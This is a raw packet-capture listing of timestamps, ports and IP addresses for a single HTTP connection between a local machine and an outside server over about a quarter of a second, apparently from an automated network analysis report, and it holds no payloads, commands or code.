Dec 15, 2024 11:59:11.858144045 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:11.858185053 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:11.858946085 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:11.859055042 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:11.859096050 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:11.860014915 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:11.860081911 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:11.860120058 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:11.861057997 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:11.861223936 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:11.861263037 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:11.862108946 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:11.862150908 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:11.862185955 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:11.863188028 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:11.863328934 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:11.863369942 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:11.864228010 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:11.864392996 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:11.864433050 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:11.865303993 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:11.865453005 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:11.865490913 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:11.866323948 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:11.866442919 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:11.866492033 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:11.867352962 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:11.867470026 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:11.867512941 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:11.868402004 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:11.868561029 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:11.868561983 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:11.868593931 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:11.869474888 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:11.869513035 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:11.869657040 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:11.869689941 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:11.870522976 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:11.870855093 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:11.870889902 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:11.871551991 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:11.871673107 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:11.871709108 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:11.872673988 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:11.872755051 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:11.872788906 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:11.873673916 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:11.873749018 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:11.873785973 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:11.874763966 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:11.874867916 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:11.874906063 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:11.875797987 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:11.875904083 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:11.875941992 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:11.877002954 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:11.877284050 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:11.877321005 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:11.878447056 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:11.878562927 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:11.878603935 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:11.879286051 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:11.879409075 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:11.879446983 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:11.880261898 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:11.880346060 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:11.880383015 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:11.881072044 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:11.881160975 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:11.881206036 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:11.882183075 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:11.882262945 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:11.882308960 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:11.883109093 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:11.883217096 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:11.883256912 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:11.884181023 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:11.884301901 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:11.884349108 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:11.885262012 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:11.885432005 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:11.885472059 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:11.886264086 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:11.886377096 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:11.886425972 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:11.887331009 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:11.887428045 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:11.887479067 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:11.888386011 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:11.888508081 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:11.888550997 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:11.889447927 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:11.889535904 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:11.889564037 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:11.889592886 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:11.890486002 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:11.890635014 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:11.890675068 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:11.891541958 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:11.891661882 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:11.891696930 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:11.892656088 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:11.892817020 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:11.892855883 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:11.893624067 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:11.893764973 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:11.893814087 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:11.894690037 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:11.894742012 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:11.894783974 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:11.895735025 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:11.895783901 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:11.895848989 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:11.895930052 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:11.896814108 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:11.896944046 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:11.896990061 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:11.897855997 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:11.897974968 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:11.898016930 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:11.898910999 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:11.898957014 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:11.899020910 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:11.901566029 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:11.918842077 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:11.918929100 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:11.918997049 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:11.919151068 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:11.919245958 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:11.919292927 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:11.920006037 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:11.920083046 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:11.920130968 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:11.921080112 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:11.921266079 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:11.921317101 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:11.922122002 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:11.922317982 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:11.922465086 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:11.923165083 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:11.923388004 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:11.923438072 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:11.924200058 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:11.924285889 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:11.924329996 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:11.925239086 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:11.925467014 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:11.925509930 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:11.926348925 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:11.926472902 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:11.926518917 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:11.927370071 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:11.927480936 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:11.927525997 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:11.928354025 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:11.928569078 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:12.047065973 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:12.047126055 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:12.047193050 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:12.047370911 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:12.047528982 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:12.047576904 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:12.048501968 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:12.048582077 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:12.048628092 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:12.049499989 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:12.049559116 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:12.049779892 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:12.049818993 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:12.050244093 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:12.050415993 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:12.050416946 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:12.050470114 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:12.051281929 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:12.051381111 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:12.051405907 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:12.051450968 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:12.052352905 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:12.052401066 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:12.052467108 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:12.052802086 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:12.053373098 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:12.053508043 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:12.053539991 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:12.053551912 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:12.054424047 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:12.054542065 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:12.054583073 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:12.055484056 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:12.055556059 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:12.055609941 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:12.056102037 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:12.056544065 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:12.056586027 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:12.056663990 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:12.056704044 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:12.057588100 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:12.057694912 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:12.057706118 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:12.057732105 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:12.058625937 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:12.058671951 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:12.058749914 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:12.058816910 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:12.059704065 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:12.059746981 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:12.059813976 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:12.059858084 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:12.060728073 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:12.060854912 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:12.060895920 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:12.061779976 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:12.061877012 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:12.061920881 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:12.062866926 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:12.062907934 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:12.062921047 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:12.063132048 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:12.063896894 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:12.063951969 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:12.063976049 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:12.063992023 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:12.064943075 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:12.065052986 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:12.065116882 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:12.065175056 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:12.066020966 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:12.066112995 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:12.066155910 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:12.067035913 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:12.067210913 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:12.067267895 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:12.068133116 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:12.068186998 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:12.068233013 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:12.069153070 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:12.069261074 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:12.069298983 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:12.069339991 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:12.070285082 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:12.070328951 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:12.070394039 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:12.070478916 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:12.071235895 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:12.071278095 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:12.071429014 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:12.071496964 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:12.072315931 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:12.072453976 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:12.072501898 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:12.073370934 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:12.073407888 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:12.073457003 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:12.074373007 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:12.074425936 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:12.074467897 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:12.075428009 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:12.075474977 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:12.075541019 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:12.075581074 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:12.076478958 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:12.076520920 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:12.076585054 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:12.077296019 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:12.077516079 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:12.077588081 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:12.077650070 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:12.077697992 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:12.078613997 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:12.078665018 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:12.078669071 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:12.078727007 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:12.079637051 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:12.079684973 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:12.079749107 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:12.079993010 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:12.080713987 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:12.080763102 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:12.080842018 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:12.080884933 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:12.081713915 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:12.081764936 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:12.081845045 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:12.082756042 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:12.082811117 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:12.082874060 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:12.083658934 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:12.083841085 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:12.084167004 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:12.084219933 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:12.084870100 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:12.084914923 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:12.085010052 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:12.085053921 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:12.085961103 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:12.086016893 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:12.086081028 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:12.086134911 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:12.087016106 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:12.087151051 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:12.087192059 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:12.088083029 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:12.088129044 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:12.088172913 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:12.088218927 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:12.089150906 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:12.089293957 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:12.089343071 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:12.090816021 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:12.090981007 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:12.091043949 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:12.091865063 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:12.091916084 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:12.092114925 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:12.092156887 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:12.111306906 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:12.111356020 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:12.111398935 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:12.111568928 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:12.111705065 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:12.111752987 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:12.112642050 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:12.112821102 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:12.112880945 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:12.113679886 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:12.113861084 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:12.113910913 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:12.114761114 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:12.114840984 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:12.114854097 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:12.114973068 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:12.115786076 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:12.115832090 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:12.115895987 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:12.115983009 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:12.116858006 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:12.116991997 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:12.117007971 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:12.117105007 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:12.117904902 CET	80	49760	31.41.244.11	192.168.2.4
